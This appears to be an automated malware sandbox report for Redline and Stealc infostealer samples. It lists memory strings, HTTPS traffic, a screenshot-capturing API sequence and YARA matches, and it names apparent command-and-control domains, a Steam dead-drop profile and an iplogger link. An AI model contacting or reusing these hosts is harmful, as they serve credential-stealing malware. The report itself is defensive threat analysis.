Source: Sale.com, 0000001B.00000003.3760927369.00000000017B9000.00000004.00000800.00020000.00000000.sdmp, Sale.com, 0000001B.00000003.3798169348.00000000017B9000.00000004.00000800.00020000.00000000.sdmp, Sale.com, 0000001B.00000003.3765313179.00000000017B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fannleadyn.click/(
Source: Sale.com, 0000001B.00000003.3760927369.00000000017B9000.00000004.00000800.00020000.00000000.sdmp, Sale.com, 0000001B.00000003.3798169348.00000000017B9000.00000004.00000800.00020000.00000000.sdmp, Sale.com, 0000001B.00000003.3765313179.00000000017B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fannleadyn.click/afdp
Source: Sale.com, 0000001B.00000003.3831151700.00000000017B9000.00000004.00000800.00020000.00000000.sdmp, Sale.com, 0000001B.00000003.3865146461.00000000017BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fannleadyn.click/api
Source: Sale.com, 0000001B.00000003.3760927369.00000000017B9000.00000004.00000800.00020000.00000000.sdmp, Sale.com, 0000001B.00000003.3798169348.00000000017B9000.00000004.00000800.00020000.00000000.sdmp, Sale.com, 0000001B.00000003.3765313179.00000000017B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fannleadyn.click/ck
Source: Sale.com, 0000001B.00000003.3760927369.00000000017B9000.00000004.00000800.00020000.00000000.sdmp, Sale.com, 0000001B.00000003.3798169348.00000000017B9000.00000004.00000800.00020000.00000000.sdmp, Sale.com, 0000001B.00000003.3831151700.00000000017B9000.00000004.00000800.00020000.00000000.sdmp, Sale.com, 0000001B.00000003.3765313179.00000000017B9000.00000004.00000800.00020000.00000000.sdmp, Sale.com, 0000001B.00000003.3733196379.00000000017B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fannleadyn.click/n
Source: Sale.com, 0000001B.00000002.3910867486.0000000001403000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fannleadyn.click:443/api
Source: Sale.com, 0000001B.00000002.3910867486.0000000001403000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fannleadyn.click:443/apio
Source: ba327bb7fd.exe, 00000020.00000003.3806250414.000000000591F000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 00000020.00000003.3807021512.00000000055E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://g-cleanit.hk
Source: powershell.exe, 00000030.00000002.3551855195.00000143A55E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: I0XmI2t.exe, 0000002D.00000002.3810485257.00007FF6DBF8F000.00000002.00000001.01000000.00000018.sdmp, I0XmI2t.exe, 0000002D.00000000.2915657312.00007FF6DBF8F000.00000002.00000001.01000000.00000018.sdmp, I0XmI2t[1].exe.41.dr	String found in binary or memory: https://github.com/dotnet/runtime
Source: goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: legs.exe, 0000000C.00000003.2070257303.0000000002EE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqd4plX4pbW1CbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: ba327bb7fd.exe, 00000020.00000003.3806250414.000000000591F000.00000004.00000020.00020000.00000000.sdmp, ba327bb7fd.exe, 00000020.00000003.3807021512.00000000055E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1Pz8p7
Source: goldddd123.exe, 0000000F.00000003.2127408055.0000000001537000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000002.2138995706.0000000001538000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126440681.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/
Source: goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000002.2138767882.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126440681.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/S
Source: goldddd123.exe, 0000000F.00000003.2127408055.0000000001537000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000002.2138995706.0000000001538000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126440681.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api
Source: goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api$
Source: goldddd123.exe, 0000000F.00000003.2127408055.0000000001537000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000002.2138995706.0000000001538000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126440681.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api3
Source: goldddd123.exe, 0000000F.00000003.2127408055.0000000001537000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000002.2138995706.0000000001538000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126440681.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api?
Source: goldddd123.exe, 0000000F.00000003.2127408055.0000000001537000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000002.2138995706.0000000001538000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126440681.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apig
Source: goldddd123.exe, 0000000F.00000003.2127408055.0000000001537000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000002.2138995706.0000000001538000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126440681.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/pi
Source: goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com:443/api
Source: powershell.exe, 00000030.00000002.3691717709.00000143B542D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: legs.exe, legs.exe, 0000000C.00000002.2258896329.0000000000731000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2067888560.0000000002E51000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2101504269.0000000002E52000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2099902897.0000000002E52000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2202857672.0000000002E51000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2142641210.0000000002E51000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2042163506.0000000002E51000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2040682415.0000000002EC8000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2040813074.0000000002ECE000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2068422392.0000000002E51000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2132984791.0000000002E51000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 0000000C.00000002.2368596950.0000000002E53000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2229288180.0000000002E51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/
Source: legs.exe, 0000000C.00000003.2202857672.0000000002E51000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2229288180.0000000002E51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/82
Source: legs.exe, 0000000C.00000003.2040404028.0000000002EC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/Gp
Source: legs.exe, 0000000C.00000003.2229288180.0000000002E51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/api
Source: legs.exe, 0000000C.00000003.2125774812.00000000007B5000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2157017126.00000000007B5000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 0000000C.00000002.2291392149.00000000007B6000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2229179882.00000000007B6000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2202751543.00000000007B5000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2142051380.00000000007B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/api%
Source: legs.exe, 0000000C.00000003.2132984791.0000000002E51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/api4.Y
Source: legs.exe, 0000000C.00000003.2157017126.00000000007B5000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2202751543.00000000007B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/apic
Source: legs.exe, 0000000C.00000002.2258896329.000000000074C000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2227115922.000000000074C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/pp
Source: legs.exe, 0000000C.00000003.2157017126.00000000007B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click:443/api
Source: axplong.exe, 00000004.00000003.2054452488.000000000108C000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000004.00000003.2054452488.0000000001085000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000004.00000003.2055263966.0000000005EDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://remote-app-switcher.prod-east.frontend.public.atl-paas.net
Source: axplong.exe, 00000004.00000003.2054452488.000000000108C000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000004.00000003.2054452488.0000000001085000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000004.00000003.2055263966.0000000005EDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net
Source: legs.exe, 00000008.00000002.1967196646.0000000000B06000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000D.00000002.2045149356.0000000001430000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe.4.dr, legs[1].exe.4.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126440681.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: goldddd123.exe, 0000000F.00000003.2127408055.0000000001537000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000002.2138995706.0000000001538000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126440681.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/U
Source: goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125705208.0000000001582000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000002.2139064051.0000000001571000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126296926.000000000156F000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: goldddd123.exe, 0000000F.00000002.2138767882.00000000014F2000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126440681.00000000014F2000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122112988.00000000014F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: goldddd123.exe, 0000000F.00000003.2122112988.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125705208.0000000001582000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000002.2139064051.0000000001571000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2125746608.0000000001524000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126296926.000000000156F000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: Sale.com, 0000001B.00000003.3799080975.0000000005A1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Sale.com, 0000001B.00000003.3799080975.0000000005A1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: goldddd123.exe, 0000000F.00000002.2138767882.00000000014EC000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2126440681.00000000014EC000.00000004.00000020.00020000.00000000.sdmp, goldddd123.exe, 0000000F.00000003.2122112988.00000000014EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sustainskelet.lat/apig
Source: axplong.exe, 00000004.00000003.2054452488.000000000108C000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000004.00000003.2054452488.0000000001085000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000004.00000003.2055263966.0000000005EDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web-security-reports.services.atlassian.com/csp-report/bb-website
Source: legs.exe, 0000000C.00000003.2013479386.0000000002E88000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2013300217.0000000002E8B000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2013375745.0000000002E88000.00000004.00000800.00020000.00000000.sdmp, Sale.com, 0000001B.00000003.3684909753.0000000001777000.00000004.00000800.00020000.00000000.sdmp, 24adfe999c.exe, 0000001F.00000003.3693481049.0000000000E18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: legs.exe, 0000000C.00000003.2013479386.0000000002E88000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2013300217.0000000002E8B000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 0000000C.00000003.2013375745.0000000002E88000.00000004.00000800.00020000.00000000.sdmp, Sale.com, 0000001B.00000003.3684909753.0000000001777000.00000004.00000800.00020000.00000000.sdmp, 24adfe999c.exe, 0000001F.00000003.3693481049.0000000000E18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Sale.com, 0000001B.00000003.3799080975.0000000005A1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.HCe2hc5EPKfq
Source: Sale.com, 0000001B.00000003.3799080975.0000000005A1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.oX6J3D7V9Efv
Source: legs.exe, 0000000C.00000003.2069741947.000000000316F000.00000004.00000800.00020000.00000000.sdmp, Sale.com, 0000001B.00000003.3799080975.0000000005A1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: Sale.com, 0000001B.00000003.3799080975.0000000005A1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: legs.exe, 0000000C.00000003.2069741947.000000000316F000.00000004.00000800.00020000.00000000.sdmp, Sale.com, 0000001B.00000003.3799080975.0000000005A1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: legs.exe, 0000000C.00000003.2069741947.000000000316F000.00000004.00000800.00020000.00000000.sdmp, Sale.com, 0000001B.00000003.3799080975.0000000005A1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: goldddd123.exe, 0000000F.00000003.2122083025.0000000001576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback

Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867

Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.9:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.9:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.9:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.166.143.48:443 -> 192.168.2.9:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.9:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.5.29.203:443 -> 192.168.2.9:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.9:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.121.10.34:443 -> 192.168.2.9:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.9:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.9:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.9:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.9:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.9:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.9:49830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.9:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.9:49849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.9:49853 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.9:49858 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.9:49867 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.9:49882 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.63.229:443 -> 192.168.2.9:49907 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.63.229:443 -> 192.168.2.9:49914 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe

Code function: 10_2_001261F0 RegOpenKeyExA,RegQueryValueExA,RegCloseKey,RegOpenKeyExA,RegSetValueExA,RegCloseKey,RegOpenKeyExA,RegSetValueExA,RegCloseKey,RegOpenKeyExA,RegQueryInfoKeyW,RegEnumValueA,RegCloseKey,GdiplusStartup,GetDC,RegGetValueA,RegGetValueA,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,RegGetValueA,GetSystemMetrics,GetSystemMetrics,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GdipCreateBitmapFromHBITMAP,GdipGetImageEncodersSize,GdipGetImageEncoders,GdipSaveImageToFile,SelectObject,DeleteObject,DeleteObject,DeleteObject,ReleaseDC,GdipDisposeImage,GdiplusShutdown,GetUserNameA,LookupAccountNameA,GetSidIdentifierAuthority,GetSidSubAuthorityCount,GetSidSubAuthority,GetSidSubAuthority,

10_2_001261F0

System Summary

Malicious sample detected (through community Yara rule)

Source: 45.2.I0XmI2t.exe.2b50dd4e5a8.3.raw.unpack, type: UNPACKEDPE	Matched rule: Finds Redline samples based on characteristic strings Author: Sekoia.io
Source: 45.2.I0XmI2t.exe.2b50dcd6568.1.raw.unpack, type: UNPACKEDPE	Matched rule: Finds Redline samples based on characteristic strings Author: Sekoia.io
Source: 45.2.I0XmI2t.exe.2b50dcd6568.1.unpack, type: UNPACKEDPE	Matched rule: Finds Redline samples based on characteristic strings Author: Sekoia.io
Source: 23.0.daw21.exe.b80000.0.unpack, type: UNPACKEDPE	Matched rule: Finds Stealc standalone samples (or dumps) based on the strings Author: Sekoia.io
Source: 45.2.I0XmI2t.exe.2b50dd4e5a8.3.unpack, type: UNPACKEDPE	Matched rule: Finds Redline samples based on characteristic strings Author: Sekoia.io
Source: 45.2.I0XmI2t.exe.2b50dcfe590.2.unpack, type: UNPACKEDPE	Matched rule: Finds Redline samples based on characteristic strings Author: Sekoia.io
Source: 23.2.daw21.exe.b80000.0.unpack, type: UNPACKEDPE	Matched rule: Finds Stealc standalone samples (or dumps) based on the strings Author: Sekoia.io
